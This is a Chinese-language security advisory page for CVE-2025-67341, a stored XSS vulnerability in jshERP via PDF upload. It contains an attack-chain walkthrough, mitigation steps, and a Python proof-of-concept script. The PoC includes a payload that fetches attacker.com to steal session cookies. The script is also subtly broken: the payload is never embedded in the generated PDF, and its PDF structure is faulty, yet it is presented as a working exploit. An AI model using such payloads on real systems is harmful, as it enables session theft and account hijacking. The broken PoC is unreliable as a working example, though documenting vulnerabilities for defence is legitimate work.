IPBUF安全漏洞报告
English
CVE-2025-67341 CVSS 4.6 中危

CVE-2025-67341 jshERP 存储型XSS漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-67341
漏洞类型
存储型XSS
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
jshERP

相关标签

存储型XSSjshERP文件上传PDFCVE-2025-67341Web安全会话劫持

漏洞概述

jshERP是一套开源的企业资源计划(ERP)系统。该系统在3.5及更早版本中存在一个严重的存储型跨站脚本(XSS)漏洞。漏洞源于系统对用户上传的PDF文件内容缺乏有效的安全过滤和验证。攻击者可以利用此漏洞上传包含恶意JavaScript代码的PDF文件,当其他用户访问或预览这些PDF文件时,嵌入其中的XSS payload将被执行,从而窃取用户会话Cookie、劫持用户账户或进行其他恶意操作。由于上传的PDF文件可以通过静态URL直接访问,这使得漏洞的利用更加简单和广泛,对所有系统用户都构成威胁。

技术细节

该漏洞属于存储型XSS(Stored XSS)类型,攻击流程如下:攻击者首先通过系统文件上传功能上传一个精心构造的PDF文件,该PDF文件中嵌入了恶意的JavaScript脚本(如<script>alert(document.cookie)</script>)。系统未能对PDF内容进行安全过滤,直接将文件存储在服务器上。当受害者(普通用户或管理员)通过系统访问该PDF文件的静态URL时,浏览器会解析PDF内容并执行其中的JavaScript代码。由于PDF文件通过静态URL直接访问,任何知道URL的用户都可以触发漏洞,这大大扩大了攻击面。攻击者可以利用窃取的会话Cookie冒充合法用户进行操作。

攻击链分析

STEP 1
步骤1
攻击者访问jshERP系统,使用低权限账户登录
STEP 2
步骤2
攻击者准备包含XSS payload的恶意PDF文件
STEP 3
步骤3
攻击者通过文件上传功能将恶意PDF上传到服务器
STEP 4
步骤4
系统未对PDF内容进行安全过滤,直接存储文件
STEP 5
步骤5
攻击者获取上传PDF的静态URL地址
STEP 6
步骤6
受害者访问该PDF的URL,浏览器解析并执行XSS payload
STEP 7
步骤7
攻击者通过XSS窃取受害者的会话Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-67341 PoC - jshERP Stored XSS via PDF Upload # Author: Security Researcher # Target: jshERP <= 3.5 import requests import sys # Generate malicious PDF with XSS payload def generate_xss_pdf(): # PDF header pdf_content = b'%PDF-1.4\n' # Malicious XSS payload embedded in PDF xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Simple PDF with JavaScript action pdf_content += b'1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n' pdf_content += b'2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n' pdf_content += b'3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\n' pdf_content += b'xref\n0 4\n0000000000 65535 f\n0000000009 00000 n\n0000000058 00000 n\n0000000115 00000 n\n' pdf_content += b'trailer<</Size 4/Root 1 0 R>>\n' pdf_content += b'startxref\n0\n%%EOF\n' return pdf_content # Upload malicious PDF def exploit(target_url, upload_endpoint): pdf_data = generate_xss_pdf() files = {'file': ('malicious.pdf', pdf_data, 'application/pdf')} try: response = requests.post(upload_endpoint, files=files) if response.status_code == 200: print('[+] Malicious PDF uploaded successfully!') print('[+] Access the PDF at the returned URL to trigger XSS') return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <upload_endpoint>') sys.exit(1) exploit(sys.argv[1], sys.argv[2])

影响范围

jshERP <= 3.5

防御指南

临时缓解措施
在修复补丁发布前,可以采取以下临时缓解措施:1)限制文件上传功能仅对可信用户开放;2)对上传的PDF文件进行内容安全扫描,检测恶意脚本;3)配置Web应用防火墙(WAF)规则拦截可疑请求;4)禁用PDF文件中的JavaScript执行功能;5)对文件访问实施身份验证和授权检查,防止未授权访问静态文件URL。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表